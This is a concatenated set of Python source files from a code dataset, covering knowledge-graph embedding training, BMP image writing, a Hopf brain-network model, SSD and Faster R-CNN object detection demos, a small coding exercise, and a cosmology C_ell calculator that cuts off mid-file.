self.summary_writer.add_scalar(tag='Hits@10/right', scalar_value=hits_right[1][1], global_step=step)\n self.summary_writer.add_scalar(tag='Hits@50/right', scalar_value=hits_right[2][1], global_step=step)\n self.summary_writer.add_scalar(tag='Hits@100/right', scalar_value=hits_right[3][1],\n global_step=step)\n if score > last_score:\n logger.info(\"保存 (\" + str(score) + \">\" + str(last_score) + \")\")\n last_score = score\n save_checkpoint(self.model, self.optim,\n 1, step, score,\n self.checkpoint_path)\n save_entity_embedding_list(self.model.entity_embedding, self.embedding_path)\n save_entity_embedding_list(self.model.entity_embedding,\n self.embedding_path + \"_score_\" + str(int(score)))\n\n def run_test(self, soft_align_enable=False):\n computing_time = time.time()\n left_vec = self.t.get_vec2(self.model.entity_embedding, self.t.left_ids)\n # left_vec2 = self.t.get_vec3(self.model.entity_embedding, self.model.M, self.t.left_ids)\n right_vec = self.t.get_vec2(self.model.entity_embedding, self.t.right_ids)\n sim = spatial.distance.cdist(left_vec, right_vec, metric='euclidean')\n # sim2 = spatial.distance.cdist(left_vec2, right_vec, metric='euclidean')\n logger.info(\"计算距离完成,用时 \" + str(int(time.time() - computing_time)) + \" 秒\")\n if soft_align_enable:\n self.do_combine(\"combine\", sim)\n logger.info(\"属性消融实验\")\n hits = self.t.get_hits(left_vec, right_vec, sim)\n score = self.t.get_score(hits)\n # hits2 = self.t.get_hits(left_vec2, right_vec, sim2)\n # score2 = self.t.get_score(hits2)\n # logger.info(\"score = \" + str(score) + \", score = \" + str(score2))\n logger.info(\"score = \" + str(score))\n return hits, score\n\n\n@click.command()\n@click.option('--recover', default=False, help='使用上一次训练的模型')\n@click.option('--lang', default='fr_en', help='使用的数据集')\n@click.option('--output', default='./result/TransE2', help='输出目录,将在此目录下保存权重文件、嵌入文件')\n@click.option('--soft_align', default=False, help='训练时使用软对齐')\n@click.option('--data_enhance', default=True, help='训练时使用数据增强')\n@click.option('--visualize', default=False, help='训练时可视化')\n@click.option('--filtered', default=False, help='训练时过滤')\n@click.option('--gcn', default=False, help='GCN-Align的对齐模块')\n@click.option('--my', default=False, help='我设计的对齐模块')\ndef main(recover, lang, output, soft_align, data_enhance, visualize, filtered, gcn, my):\n result_path = (output + \"/%s/\") % lang\n data_path = \"./data/%s/\" % lang\n m = MTransE(\n entity_align_file=data_path + \"ref_ent_ids\",\n all_entity_file=data_path + \"ent_ids_all\",\n all_attr_file=data_path + \"att2id_all\",\n all_value_file=data_path + \"att_value2id_all\",\n all_triple_file=data_path + \"att_triple_all\",\n kg1_entity_file=data_path + \"ent_ids_1\",\n kg2_entity_file=data_path + \"ent_ids_2\",\n\n checkpoint_path=result_path + \"checkpoint.tar\",\n embedding_path=result_path + \"ATentsembed.txt\",\n tensorboard_log_dir=result_path + \"log/\",\n\n using_soft_align=soft_align,\n visualize=visualize\n )\n m.init_data()\n if data_enhance:\n m.append_align_triple()\n if filtered:\n m.filter_triple()\n if soft_align:\n m.init_soft_align()\n if visualize:\n m.init_visualize()\n m.init_dataset(gcn, my)\n m.init_model()\n m.init_optimizer()\n m.run_train(need_to_load_checkpoint=recover, gcn=gcn, my=my)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"main9.py","file_name":"main9.py","file_ext":"py","file_size_in_byte":61381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"610836536","text":"import struct\n\n\ndef function(i):\n if i <= 100:\n return 120\n elif i <= 200:\n return 15.0 / 100 * i + 105\n elif i <= 280:\n return 9.0 / 8 * i - 90\n elif i <= 300:\n return 3.0 / 4 * i + 15\n else:\n return 240\n\n\ndef main(argv=None):\n readFile = open('./lena_512x512.bmp', 'rb')\n writeFile = open('./third.bmp', 'wb')\n\n data = bytearray(readFile.read())\n\n # BITMAPFILEHEADER\n # BITMAPFILEHEADER = bfType (2) + bfSize (4) + bfReserved1 (2) + bfReserved2 (2) + bfOffBits (4) = 14\n for i in range(0, 14):\n writeFile.write(struct.pack('B', data[i]))\n\n # BITMAPINFOHEADER\n # BITMAPINFOHEADER = bfSize (4) + biWidth (4) + biHeight (4) + biPlanes (2) +\n # biBitCount (2) + biCompression (4) + biSize (4) + biXPelsPerMeter (4) + biYPelsPerMeter (4)\n # biClrUsed (4) + biClrImportant (4) = 40\n for i in range(14, 54):\n writeFile.write(struct.pack('B', data[i]))\n\n # RGBQUAD\n # RGBQUAD = rgbBlue (1) + rgbGreen (1) + rgbRed (1) + rgbReserved (1) = 4\n # Grayscale Bitmap Color Palette 영역은 256개\n seek_point = 54 + 4 * 256\n for i in range(54, seek_point):\n writeFile.write(struct.pack('B', data[i]))\n\n # PIXEL DATA\n rawData = [[0 for x in range(512)] for x in range(512)]\n for i in range(0, 512):\n for j in range(0, 512):\n # raw Data 부분을 만듭니다\n # 이미지가 뒤집어서 저장되기때문에 배열에 반대로 넣습니다.\n rawData[511 - i][j] = int(function(j))\n\n for i in range(512):\n for j in range(512):\n # raw Data 부분을 만듭니다\n writeFile.write(struct.pack('B', rawData[j][511 - i]))\n\n writeFile.close()\n readFile.close()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"third.py","file_name":"third.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"45373941","text":"import numpy as np\n\nimport h5py\nimport scipy.io\n\n\ndef loadDefaultParams(Cmat=[], Dmat=[], seed=None):\n \"\"\"\n Load default parameters for the for a whole network of aLN nodes.\n A lot of the code which deals with loading structural connectivity\n and delay matrices for an interareal whole-brain network simulation\n can be ignored if only a single E-I module is to be simulated (set singleNode=1 then)\n\n Parameters:\n :param lookUpTableFileName: Matlab filename where to find the lookup table. Default: interarea/networks/aln-python/aln-precalc/precalc05sps_all.mat'\n :returns: A dictionary of default parameters\n \"\"\"\n\n class struct(object):\n pass\n\n params = struct()\n\n ### runtime parameters\n params.dt = 0.1 # ms 0.1ms is reasonable\n params.duration = 2000 # Simulation duration (ms)\n params.seed = np.int64(0) # seed for RNG of noise and ICs\n\n # ------------------------------------------------------------------------\n # global whole-brain network parameters\n # ------------------------------------------------------------------------\n\n params.signalV = 20.0\n params.K_gl = 250.0 # global coupling strength\n\n if len(Cmat) == 0:\n params.N = 1\n params.Cmat = np.zeros((1, 1))\n params.lengthMat = np.zeros((1, 1))\n\n else:\n params.Cmat = Cmat.copy() # coupling matrix\n np.fill_diagonal(Cmat, 0) # no self connections\n params.Cmat = Cmat / np.max(Cmat) # normalize matrix\n params.N = len(params.Cmat) # number of nodes\n params.lengthMat = Dmat\n\n # ------------------------------------------------------------------------\n # local node parameters\n # ------------------------------------------------------------------------\n\n # external input parameters:\n params.tau_ou = 5.0 # ms Timescale of the Ornstein-Uhlenbeck noise process\n params.sigma_ou = 0.0 # mV/ms/sqrt(ms) noise intensity\n params.x_ext_mean = 0.0 # mV/ms (OU process) [0-5]\n params.y_ext_mean = 0.0 # mV/ms (OU process) [0-5]\n\n # neuron model parameters\n params.a = 0.25 # Hopf bifurcation parameter\n params.w = 0.2 # Oscillator frequency, 32 Hz at w = 0.2\n\n # ------------------------------------------------------------------------\n\n params.xs_init = 0.05 * np.random.uniform(0, 1, (params.N, 1))\n params.ys_init = 0.05 * np.random.uniform(0, 1, (params.N, 1))\n\n params_dict = params.__dict__\n\n return params_dict\n\n\ndef computeDelayMatrix(lengthMat, signalV, segmentLength=1):\n \"\"\"Compute the delay matrix from the fiber length matrix and the signal velocity\n\n :param lengthMat: A matrix containing the connection length in segment\n :param signalV: Signal velocity in m/s\n :param segmentLength: Length of a single segment in mm\n\n :returns: A matrix of connexion delay in ms\n \"\"\"\n\n normalizedLenMat = lengthMat * segmentLength\n # Interareal connection delays, Dmat(i,j) in ms\n if signalV > 0:\n Dmat = normalizedLenMat / signalV\n else:\n Dmat = lengthMat * 0.0\n return Dmat\n","sub_path":"neurolib/models/hopf/loadDefaultParams.py","file_name":"loadDefaultParams.py","file_ext":"py","file_size_in_byte":3113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"301121681","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# @author: ZK\r\n# Time: 2019/11/19 15:13\r\nimport tensorflow as tf\r\nimport os\r\nimport math\r\nimport time\r\nfrom keras.applications.imagenet_utils import preprocess_input\r\nimport cv2\r\nfrom cv2 import imread\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n# from scipy.misc import imread\r\nimport tensorflow as tf\r\nimport pickle\r\n\r\n# from model.ssd300VGG16 import SSD\r\n# from model.ssd300MobileNetV2Lite import SSD\r\nfrom model.ssd300Mv2Lite_Pro import SSD\r\n# from model.ssd300Mv2Lite_windows import SSD\r\nfrom ssd_utils import BBoxUtility\r\n\r\n\r\ndef generate_txt(image_name, bboxes, boxes_infor, shape):\r\n print(image_name)\r\n txt_name = image_name[:-4] + '.txt'\r\n if not os.path.exists(Result_PATH):\r\n os.makedirs(Result_PATH)\r\n img_h, img_w, img_c = shape\r\n with open(os.path.join(Result_PATH, txt_name), 'w') as f:\r\n if len(bboxes) != 0:\r\n for idx, box in enumerate(bboxes):\r\n x1 = str(box[0] * img_w) + ' '\r\n y1 = str(box[1] * img_h) + ' '\r\n x2 = str(box[2] * img_w) + ' '\r\n y2 = str(box[3] * img_h)\r\n classes = CLASS_2_ID[int(boxes_infor[0][idx]) - 1] + ' '\r\n prob = str(boxes_infor[1][idx]) + ' '\r\n obj_w = [classes, prob, x1, y1, x2, y2]\r\n f.writelines(obj_w)\r\n f.write('\\n')\r\n else:\r\n obj_w = ['-1 ', '0 ', '0 ', '0 ', '0 ', '0 ']\r\n f.writelines(obj_w)\r\n f.write('\\n')\r\n\r\n\r\ndef sigmoid_self(x):\r\n min_value = -40.0\r\n max_value = 40.0\r\n if x < min_value:\r\n x = min_value\r\n if x > max_value:\r\n x = max_value\r\n return 1.0 / (1 + math.exp(-1.0 * x))\r\n\r\n\r\ndef sigmoid_list_self(x):\r\n sigmoid_list = list()\r\n for each_elem in x:\r\n sigmoid_list.append(sigmoid_self(each_elem))\r\n return sigmoid_list\r\n\r\n\r\ndef softmax_self(y: list()):\r\n min_value = -40.0\r\n max_value = 40.0\r\n y_softmax = list()\r\n sum_exp = 0\r\n for each_elem in y:\r\n t = each_elem\r\n if t < min_value:\r\n t = min_value\r\n if t > max_value:\r\n t = max_value\r\n sum_exp += math.exp(t)\r\n for each_elem in y:\r\n t = each_elem\r\n if t < min_value:\r\n t = min_value\r\n if t > max_value:\r\n t = max_value\r\n y_softmax.append(math.exp(t) / sum_exp)\r\n return y_softmax\r\n\r\n\r\ndef get_max(box_confidence, box_classes_prob):\r\n confidence = list()\r\n max_value = 0\r\n max_index = 0\r\n for index, prob in enumerate(box_classes_prob):\r\n t = box_confidence * prob\r\n if t > max_value:\r\n max_value = t\r\n max_index = index\r\n return max_value, max_index\r\n\r\n\r\ndef get_coord_confidence(x, anchors, size=(13, 13), score_threshold=0.85, anchors_num=3, classes_num=7):\r\n box_dimen = anchors_num * (5 + classes_num)\r\n row_num = size[0]\r\n column_num = size[1]\r\n index_start = 0\r\n index_interval = 5 + classes_num\r\n list_filters = list()\r\n for each_row in range(row_num):\r\n for each_cols in range(column_num):\r\n for each_anchor in range(anchors_num):\r\n each_box_info = x[index_start:(index_start + index_interval)]\r\n box_x = each_box_info[0]\r\n box_x = sigmoid_self(box_x)\r\n box_x += each_cols\r\n box_x /= column_num\r\n box_y = each_box_info[1]\r\n box_y = sigmoid_self(box_y)\r\n box_y += each_row\r\n box_y /= row_num\r\n box_w = each_box_info[2]\r\n box_w = math.exp(box_w) * anchors[each_anchor][0] / 352\r\n box_h = each_box_info[3]\r\n box_h = math.exp(box_h) * anchors[each_anchor][1] / 352\r\n box_confidence = each_box_info[4]\r\n # print('zz', each_row, each_cols, box_confidence)\r\n box_confidence = sigmoid_self(box_confidence)\r\n box_class_prob = each_box_info[5:]\r\n box_class_prob = sigmoid_list_self(box_class_prob.tolist())\r\n max_value, max_index = get_max(box_confidence, box_class_prob)\r\n box_tx = box_x - box_w / 2\r\n box_ty = box_y - box_h / 2\r\n box_bx = box_x + box_w / 2\r\n box_by = box_y + box_h / 2\r\n temp_list = [box_tx, box_ty, box_bx, box_by, max_value, max_index]\r\n if max_value > score_threshold:\r\n list_filters.append(temp_list)\r\n\r\n index_start += index_interval\r\n print(\"finish\")\r\n return list_filters\r\n\r\n\r\ndef del_element(x, index):\r\n offset = 0\r\n for i in index:\r\n del x[i - offset]\r\n offset += 1\r\n return x\r\n\r\n\r\ndef nms(x_sets, iou_threshold=0.5):\r\n out_list = list()\r\n while True:\r\n if len(x_sets) == 0:\r\n break\r\n else:\r\n max_confidence = x_sets[0]\r\n out_list.append(max_confidence)\r\n max_c_tx = max_confidence[0]\r\n max_c_ty = max_confidence[1]\r\n max_c_bx = max_confidence[2]\r\n max_c_by = max_confidence[3]\r\n max_area = (max_c_bx - max_c_tx) * (max_c_by - max_c_ty)\r\n del x_sets[0]\r\n boxes_num = len(x_sets)\r\n del_index_list = list()\r\n for i in range(boxes_num):\r\n tx = x_sets[i][0]\r\n ty = x_sets[i][1]\r\n bx = x_sets[i][2]\r\n by = x_sets[i][3]\r\n dist_area = (bx - tx) * (by - ty)\r\n max_tx = 0\r\n max_ty = 0\r\n min_bx = 0\r\n min_by = 0\r\n if max_c_tx >= tx:\r\n max_tx = max_c_tx\r\n else:\r\n max_tx = tx\r\n if max_c_ty >= ty:\r\n max_ty = max_c_ty\r\n else:\r\n max_ty = ty\r\n\r\n if max_c_bx >= bx:\r\n min_bx = bx\r\n else:\r\n min_bx = max_c_bx\r\n if max_c_by >= by:\r\n min_by = by\r\n else:\r\n min_by = max_c_by\r\n if max_tx < min_bx and max_ty < min_by:\r\n intersect_area = (min_by - max_ty) * (min_bx - max_tx)\r\n else:\r\n intersect_area = 0\r\n # intersect_area = (min_by-max_ty)*(min_bx-max_tx)\r\n # if intersect_area < 0:\r\n # intersect_area = 0\r\n iou = intersect_area / (max_area + dist_area - intersect_area)\r\n if iou > iou_threshold:\r\n del_index_list.append(i)\r\n print(i)\r\n x_sets = del_element(x_sets, del_index_list)\r\n return out_list\r\n\r\n\r\ndef get_output_by_nms(boxes, iou_threshold=0.5):\r\n out_list = list()\r\n classes_index = []\r\n for each_box in boxes:\r\n index_classes = each_box[5]\r\n if index_classes not in classes_index:\r\n classes_index.append(index_classes)\r\n for index in classes_index:\r\n temp_list = list()\r\n for each_box in boxes:\r\n index_classes = each_box[5]\r\n if index_classes == index:\r\n temp_list.append(each_box)\r\n temp_list = sorted(temp_list, key=lambda x: x[4], reverse=True)\r\n out_list.extend(nms(temp_list, iou_threshold=iou_threshold))\r\n return out_list\r\n\r\n\r\nif __name__ == '__main__':\r\n voc_classes = ['Car', 'Bus']\r\n CLASS_2_ID = dict(zip(range(len(voc_classes)), voc_classes))\r\n NUM_CLASSES = 1 + 2\r\n MODEL_PATH = \"../weights/checkpoints/test/best_weights.hdf5\" # SSDv2_pro\r\n # MODEL_PATH = \"../weights/checkpoints/weights.51-2.46_2.65.hdf5\" # SSDv2_pro\r\n\r\n Result_PATH = '../mAP/input/detection-results'\r\n\r\n input_shape = (300, 300, 3)\r\n model = SSD(input_shape, num_classes=NUM_CLASSES)\r\n model.load_weights(filepath=MODEL_PATH, by_name=True)\r\n\r\n bbox_util = BBoxUtility(NUM_CLASSES, nms_thresh=0.45)\r\n\r\n val_img_path = '/eDisk/FCWS_dataset/BDD100k/bdd100k/images/100k/val/'\r\n all_start_time = time.clock()\r\n for parent, dirnames, filenames in os.walk(val_img_path): # 分别得到根目录,子目录和根目录下文件\r\n for file_name in filenames:\r\n # file_name = 'b7d7b438-7e499016.jpg'\r\n # file_name = 'c978b30e-b7e84613.jpg'\r\n img_path = os.path.join(parent, file_name) # 获取文件全路径\r\n print(img_path)\r\n if file_name[-4:] in ['.jpg', '.png']:\r\n img_origin = cv2.imread(img_path)\r\n img = cv2.resize(img_origin, input_shape[:2]).astype('float32')\r\n else:\r\n continue\r\n\r\n start_time = time.clock()\r\n inputs = preprocess_input(np.array([img]))\r\n preds = model.predict(inputs, batch_size=1, verbose=1)\r\n end_time = time.clock()\r\n print('Take time:', end_time - start_time)\r\n results = bbox_util.detection_out(preds)\r\n\r\n # Get detections with confidence higher than 0.6.\r\n result = results[0] # Only one image...., and result is [200, 6] like [class, conf, bboxoffset]\r\n top_indices = [i for i, conf in enumerate(result[:, 1]) if 0.75 <= conf]\r\n\r\n result = result[top_indices]\r\n\r\n # Parse the outputs.\r\n top_label_indices = result[:, 0].tolist()\r\n top_conf = result[:, 1]\r\n\r\n top_xmin = result[:, 2]\r\n top_ymin = result[:, 3]\r\n top_xmax = result[:, 4]\r\n top_ymax = result[:, 5]\r\n\r\n bboxes_coordinate = np.zeros((len(top_conf), 4))\r\n bboxes_coordinate[:, 0] = top_xmin\r\n bboxes_coordinate[:, 1] = top_ymin\r\n bboxes_coordinate[:, 2] = top_xmax\r\n bboxes_coordinate[:, 3] = top_ymax\r\n\r\n boxes_infor = [top_label_indices, top_conf]\r\n generate_txt(file_name, bboxes_coordinate, boxes_infor, img_origin.shape)\r\n\r\n show_result = True\r\n show_gt = True\r\n if show_result:\r\n img_h, img_w, img_c = img_origin.shape\r\n for idx, box in enumerate(bboxes_coordinate):\r\n cv2.rectangle(img_origin, (int(box[0] * img_w), int(box[1] * img_h)),\r\n (int(box[2] * img_w), int(box[3] * img_h)),\r\n color=(225, 220, 100), thickness=1)\r\n cv2.putText(img_origin, 'P:' + str('%.3f' % top_conf[idx]), (int(box[0] * img_w), int(box[1] * img_h) + 15),\r\n cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 1)\r\n cv2.putText(img_origin, 'C: ' + str(voc_classes[int(top_label_indices[idx]) - 1]), (int(box[0] * img_w), int(box[1] * img_h) + 30),\r\n cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 1)\r\n\r\n if show_gt:\r\n \"\"\"this is for BDD100K\"\"\"\r\n val_data_pkl = '../project/BDD_val.pkl'\r\n gt = pickle.load(open(val_data_pkl, 'rb'))\r\n if file_name not in gt.keys():\r\n continue\r\n val_info = gt[file_name]\r\n for idx, box in enumerate(val_info):\r\n cv2.rectangle(img_origin, (int(box[0] * img_w), int(box[1] * img_h)),\r\n (int(box[2] * img_w), int(box[3] * img_h)),\r\n color=(0, 255, 0), thickness=2)\r\n # cv2.putText(img_origin, 'C: ' + str(voc_classes[int(top_label_indices[idx]) - 1]), (int(box[0] * img_w), int(box[1] * img_h) + 30),\r\n # cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 1)\r\n cv2.imshow('display', img_origin)\r\n\r\n if cv2.waitKey(1) & 0xFF == ord(' '):\r\n cv2.waitKey(0)\r\n\r\n print('Predict product is OK! Total time is:', time.clock() - all_start_time)\r\n","sub_path":"project/objDetect_predict.py","file_name":"objDetect_predict.py","file_ext":"py","file_size_in_byte":12112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"447565630","text":"#!/usr/bin/pypy\n\nimport pickle\nfrom util.ctr.dsp.dsp_predict import OnlineTraining\n\ndef do_train():\n # 训练参数\n from_alpha = .01\n to_alpha = .1\n adapt = .4\n fudge = .08\n\n train = OnlineTraining(from_alpha, to_alpha, adapt, fudge)\n w = train.train_data('data/dsp_train_28.csv')\n with open('data/dsp_model.csv', 'wb') as f:\n pickle.dump(w, f)\n\n\nif __name__ == '__main__':\n do_train()\n\n","sub_path":"util/ctr/dsp/dsp_train.py","file_name":"dsp_train.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"102323169","text":"#!/usr/bin/env python\n\n# --------------------------------------------------------\n# Tensorflow Faster R-CNN\n# Licensed under The MIT License [see LICENSE for details]\n# Written by Xinlei Chen, based on code from Ross Girshick\n# --------------------------------------------------------\n\n\"\"\"\nDemo script showing detections in sample images.\n\nSee README.md for installation instructions before running.\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport _init_paths\nfrom model.config import cfg\nfrom model.test import im_detect\nfrom model.nms_wrapper import nms\n\nfrom utils.timer import Timer\nimport tensorflow as tf\nimport numpy as np\nimport os, cv2\n\nfrom nets.vgg16 import vgg16\nfrom nets.resnet_v1 import resnetv1\n\nfrom final.config import CLASSES\n\nDEMO_IMAGES_DIR = os.path.join('data/final/demo')\n\nFONT = cv2.FONT_HERSHEY_SIMPLEX\n\n\ndef demo(sess, net, image_name):\n \"\"\"Detect object classes in an image using pre-computed object proposals.\"\"\"\n\n # Load the demo image\n im_file = os.path.join(DEMO_IMAGES_DIR, image_name)\n assert os.path.exists(im_file), \"Image does not exist: {}\".format(im_file)\n im = cv2.imread(im_file)\n\n # cv2.imshow('image_name', im)\n # cv2.waitKey(0)\n\n # Detect all object classes and regress object bounds\n timer = Timer()\n timer.tic()\n scores, boxes = im_detect(sess, net, im)\n timer.toc()\n print('Detection took {:.3f}s for {:d} object proposals'.format(timer.total_time, boxes.shape[0]))\n\n # Visualize detections for each class\n CONF_THRESH = 0.8\n NMS_THRESH = 0.01\n for cls_ind, cls in enumerate(CLASSES[1:]):\n cls_ind += 1 # because we skipped background\n cls_boxes = boxes[:, 4*cls_ind:4*(cls_ind + 1)]\n cls_scores = scores[:, cls_ind]\n dets = np.hstack((cls_boxes,\n cls_scores[:, np.newaxis])).astype(np.float32)\n keep = nms(dets, NMS_THRESH)\n dets = dets[keep, :]\n \n inds = np.where(dets[:, -1] >= CONF_THRESH)[0]\n if len(inds) == 0:\n continue\n\n for i in inds:\n bbox = dets[i, :4]\n score = dets[i, -1]\n\n pt1 = (bbox[0], bbox[1])\n pt2 = (bbox[2], bbox[3])\n pt3 = (int(bbox[0] - 2), int(bbox[1] - 2))\n \n cv2.rectangle(im, pt1, pt2, (64, 64, 255), 2)\n cv2.putText(im, cls, pt1, FONT, 1, (0, 0, 64), 2, cv2.LINE_AA)\n cv2.putText(im, cls, pt3, FONT, 1, (32, 32, 186), 2, cv2.LINE_AA)\n\n cv2.destroyAllWindows()\n cv2.imshow('image_name', im)\n \n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\nif __name__ == '__main__':\n cfg.TEST.HAS_RPN = True # Use RPN for proposals\n cfg.USE_GPU_NMS =False\n\n # model path\n tfmodel = os.path.join('output', 'res101', 'voc_final_trainval', 'default', 'res101_faster_rcnn_iter_5000.ckpt')\n\n print(tfmodel)\t\t\t\t\t\t\t \n if not os.path.isfile(tfmodel + '.meta'):\n \n raise IOError(('{:s} not found.\\nDid you download the proper networks from '\n 'our server and place them properly?').format(tfmodel + '.meta'))\n\n # set config\n tfconfig = tf.ConfigProto(allow_soft_placement=True)\n tfconfig.gpu_options.allow_growth=True\n\n # init session\n sess = tf.Session(config=tfconfig)\n # load network\n net = resnetv1(num_layers=101)\n net.create_architecture(\"TEST\", len(CLASSES),\n tag='default', anchor_scales=[8, 16, 32])\n saver = tf.train.Saver()\n saver.restore(sess, tfmodel)\n\n print('Loaded network {:s}'.format(tfmodel))\n\n for root, dirs, files in os.walk(DEMO_IMAGES_DIR): \n for filename in files:\n print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')\n print('Demo for {}/{}'.format(DEMO_IMAGES_DIR, filename))\n demo(sess, net, filename)\n\n plt.show()\n","sub_path":"tools/demo_final.py","file_name":"demo_final.py","file_ext":"py","file_size_in_byte":3880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"288645329","text":"\"\"\"Given 3 int values, a b c, return their sum. However, if one of the values is the same as \nanother of the values, it does not count towards the sum.\n\nlone_sum(1, 2, 3) == 6\nlone_sum(3, 2, 3) == 2\nlone_sum(3, 3, 3) == 0\n\"\"\"\ndef lone_sum(a,b,c):\n if a==b and b==c:\n return 0\n elif a == b:\n return c\n elif b == c:\n return a\n elif c == a:\n return b\n else:\n return a+b+c \n\ndef test_lone_sum():\n assert lone_sum(1, 2, 3) == 6\n assert lone_sum(3, 2, 3) == 2\n assert lone_sum(3, 3, 3) == 0\n\ntest_lone_sum()\n\n# Actual Solution :\n# def lone_sum(a, b, c):\n# sum = 0\n# if a != b and a != c: sum += a\n# if b != a and b != c: sum += b\n# if c != a and c != b: sum += c\n \n# return sum","sub_path":"python/lone_sum.py","file_name":"lone_sum.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"203126157","text":"from cosmosis.datablock import DataBlock, names, SectionOptions\nimport pyccl as ccl\nimport sacc\nimport numpy as np\nimport collections\n\n\nclass CLCalculator:\n def __init__(self, options):\n self.options = options\n self.transfer_function = options.get_string('transfer_function', 'boltzmann_camb')\n self.matter_pk = options.get_string('matter_pk', 'halofit')\n self.baryons_pk = options.get_string('baryons_pk', 'nobaryons')\n self.run_boltzmann = options.get_bool('run_boltzmann', True)\n sacc_file = options.get_string('sacc_file', '')\n read_sacc = options.get_bool('read_sacc', True)\n\n self.tracer_names = collections.defaultdict(set)\n self.calculations = {}\n self.ell = collections.defaultdict(dict)\n\n if sacc_file and read_sacc:\n self.setup_from_sacc(options, sacc_file)\n else:\n self.setup_from_options(options)\n\n\n\n\n def setup_from_sacc(self, options, sacc_file):\n sacc_data = sacc.Sacc.load_fits(sacc_file)\n\n # shear-shear - could do a loop over data types here\n data_type = 'galaxy_shear_cl_ee' # because we are lucky enough not to be CMB people\n self.calculations[data_type] = sacc_data.get_tracer_combinations(data_type)\n\n # assume band powers - seems to be very likely here\n # for C_ell. Note that for xi bandpowers can be used\n # when doing the transform from C_ell instead.\n ell_per_decade = options.get_int('ell_per_decade', 30)\n\n # For now use a global value of ell for everything.\n # We could easily modify this per data-type, and in\n # fact will probably have to set per-data-type limber\n # ranges.\n # Also note that we should be cuttng \n windows = sacc_data.get_tag('window') \n ell_min = np.min([win.values.min() for win in windows])\n ell_max = np.max([win.values.max() for win in windows])\n ell_min = max(ell_min, 2)\n n_ell = int(np.log10(ell_max / ell_min)) * ell_per_decade\n ell = np.unique(np.geomspace(ell_min, ell_max, n_ell).astype(int))\n n_ell = len(ell)\n print(f\"Calculating {data_type} at {n_ell} ell values from {ell_min} .. {ell_max}\")\n\n # pull out the names of our tracers to save doing it every time\n for t1, t2 in self.calculations[data_type]:\n self.tracer_names[data_type].add(t1)\n self.tracer_names[data_type].add(t2)\n\n # Shared ell value for everything right now\n self.ell[data_type][t1, t2] = ell\n\n\n def setup_from_options(options):\n\n nz_name = options['options_section', 'nz_name']\n\n ell_min = options['options_section', 'ell_min']\n ell_max = options['options_section', 'ell_max']\n n_ell = options['options_section', 'n_ell']\n ell = np.geomspace(ell_min, ell_max, n_ell)\n\n data_type = 'galaxy_shear_cl_ee' # Much, much better\n\n pairs = options[options_section, 'shear_shear']\n pairs = [pair.split('-') for pair in pairs.split()] \n\n self.calculations[data_type] = pairs\n\n # pull out the names of our tracers to save doing it every time\n for t1, t2 in self.calculations[data_type]:\n self.tracer_names[data_type].add(t1)\n self.tracer_names[data_type].add(t2)\n\n self.ell[data_type][t1, t2] = ell\n\n def execute(self, block):\n inputs = self.read_inputs(block)\n results = self.run(inputs)\n self.write_outputs(block, results)\n return 0\n\n\n def read_inputs(self, block):\n\n # Translate into CCL parameters\n h = block[names.cosmological_parameters, 'h0']\n Omega_c = block[names.cosmological_parameters, 'Omega_c']\n Omega_b = block[names.cosmological_parameters, 'Omega_b']\n n_s = block[names.cosmological_parameters, 'n_s']\n A_s = block[names.cosmological_parameters, 'A_s']\n m_nu = block[names.cosmological_parameters, 'm_nu']\n\n nz = {}\n ia = {}\n for dt, tracer_names in self.tracer_names.items():\n for name in tracer_names:\n if name in nz:\n continue\n sec, key = name.split(\"_\", 1)\n nz[name] = (\n block[f'nz_{sec}', f'z_{key}'],\n block[f'nz_{sec}', f'bin_{key}']\n )\n\n ia[name] = (\n nz[name][0], # z assumed same as n(z)\n block[f'ia_{sec}', f'ia_{key}']\n )\n\n\n # In this case CCL runs everything.\n # Otherwise we assume earlier stages\n # have run the Boltzmann code and re-start\n # CCL from there.\n if self.run_boltzmann:\n return locals()\n\n # comoving distance\n z_bg = block[names.distances, 'z']\n distance = block[names.distances, 'D_M']\n\n # H(z), in CAMB's units of Mpc^-1, but that doesn't matter\n # because we are about to normalize\n E_of_z = block[names.distances, 'H']\n E_of_z /= E_of_z[0]\n\n # Generate cosmology and populate background\n a_bg = 1. / (1 + z_bg)\n\n z_lin, k_lin, Pk_lin = block.get_grid('matter_power_lin', 'z', 'k_h', 'P_k')\n z_nl, k_nl, Pk_nl = block.get_grid('matter_power_nl', 'z', 'k_h', 'P_k')\n a_lin = 1. / (1 + z_lin)\n a_nl = 1. / (1 + z_nl)\n\n # only support shared z here\n z_lin = np.flip(z_lin)\n Pk_lin = np.flip(Pk_lin, axis=0)\n a_lin = np.flip(a_lin)\n\n z_nl = np.flip(z_nl)\n Pk_nl = np.flip(Pk_nl, axis=0)\n a_nl = np.flip(a_nl)\n\n E_of_z = np.flip(E_of_z)\n z_bg = np.flip(z_bg)\n a_bg = np.flip(a_bg)\n distance = np.flip(distance)\n\n return locals() # I'm tired, okay, it's the night after\n # the 2020 US election\n\n\n def run(self, inputs):\n cosmo = ccl.Cosmology(Omega_c=inputs[\"Omega_c\"],\n Omega_b=inputs[\"Omega_b\"],\n h=inputs[\"h\"],\n n_s=inputs[\"n_s\"],\n A_s=inputs[\"A_s\"],\n T_CMB=2.7255,\n 